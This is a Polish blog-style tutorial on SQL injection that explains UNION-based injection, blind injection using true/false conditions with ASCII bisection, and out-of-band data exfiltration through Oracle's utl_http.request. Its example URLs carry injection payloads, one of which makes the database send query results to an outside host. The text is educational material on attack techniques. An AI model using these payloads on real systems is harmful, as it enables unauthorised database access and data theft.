Dawno, dawno temu, gdy w 2002 roku Bronek Kozicki na jednej z konferencji demonstrował na żywo sql injection, korzystał on (a przynajmniej tak mi w pamięci utkwiło) z UNION SELECT. Teraz świat się zmienił...
Lepsze niż blind: utl_http.request
W przypadku UNION SELECT sql injection wydaje się najbardziej efektowne. W miejscu, gdzie powinny pojawić się jakieś niegroźne dane, pojawia się nagle lista użytkowników i ich hasła. Jak to jest możliwe? Najłatwiejszy przykład: SELECT a,b FROM tabela1 WHERE id=2. Wartość id brana jest z danych przekazanych przez użytkownika i jeśli nie ma odpowiedniej walidacji, to można zamiast oczekiwanej wartości przekazać coś takiego: 2 UNION SELECT c,d FROM tabela2, co powoduje, że całe zapytanie będzie miało formę SELECT a,b FROM tabela1 WHERE id=2 UNION SELECT c,d FROM tabela2. Efekt? W wynikowych danych poza danymi z tabela1 pojawią się również dane z tabela2. Proste? Teoretycznie tak, tylko, że to, co jest zwracane przez UNION musi mieć tą samą ilość kolumn, co główny SELECT, jak również (w niektórych przypadkach) ten sam typ. Dawno temu szczególnie aplikacje w ASP lubiły "spowiadać się" z tego co im nie pasuje w zapytaniu, więc dobranie odpowiedniej ilości parametrów i ich typu było może i monotonne, ale dość łatwe. Czasy się jednak zmieniają, choć sql injection dalej się trafia, to stopień "pomocności" aplikacji znacznie się obniżył, a stopień skomplikowania wykorzystanych zapytań niejednokrotnie znacznie wzrósł... W efekcie wykorzystanie techniki z UNION staje się po prostu nieefektywne i może przyprawić o siwe włosy.
Z pomocą przyszedł covert channel i blind sql-injection okazało się niejednokrotnie łatwiejsze do zastosowania. Jak to działa? Przykładowo jeśli mamy adres http://host.domena/plik?id=1, który powoduje wyświetlenie pewnej informacji (na przykład artykułu o identyfikatorze 1) i jest w parametrze id sql-injection możemy wykorzystać fakt wyświetlenia/nie wyświetlenia właściwego artykułu jako wspomniany ukryty kanał komunikacyjny. Należy znaleźć "warunek na blinda", czyli na przykład coś takiego: http://host.domena/plik?id=1 AND 1=1 oraz http://host.domena/plik?id=1 AND 1=0. W pierwszym wypadku artykuł powinien się wyświetlić (bo 1=1), natomiast w drugim już nie (bo 1!=0). Dalej można próbować zastąpić prawą stronę "warunku na blinda" subselectem, co może wyglądać tak: http://host.domena/plik?id=1 AND 1=(SELECT 1 FROM DUAL) oraz http://host.domena/plik?id=1 AND 1=(SELECT 0 FROM DUAL). Jeśli to zadziała, to można zacząć wyciągać dane z bazy. Jak? Na przykład poprzez wyciąganie z interesującego nas stringu jego poszczególnych liter, zamianie na ich kod ASCII, a następnie metodą bisekcji - znalezienie jego wartości. Krok z kodem ASCII i bisekcją można oczywiście pominąć i zamiast tego sekwencyjnie przejść przez wszystkie dostępne znaki, choć jednak przyznać trzeba, że bisekcja jest po prostu szybka.
A o co chodzi z tym utl_http.request? W niektórych przypadkach (gdy pakiet utl_http jest dostępny, a serwer bazodanowy ma możliwość łączenia się z siecią), możliwe jest jest zrobienie czegoś takiego: http://host.domena/plik?id=1 AND 0 = length((SELECT utl_http.request('http://host.inna.domena/test' FROM DUAL))). Spowodować to powinno odwołanie do serwera host.inna.domena o plik test. Oczywiście zamiast o ten plik, można zapytać o coś zupełnie innego, co pochodzi z kolejnego subselecta wstawionego na przykład przez ' || (SELECT 'test' FROM DUAL) || '.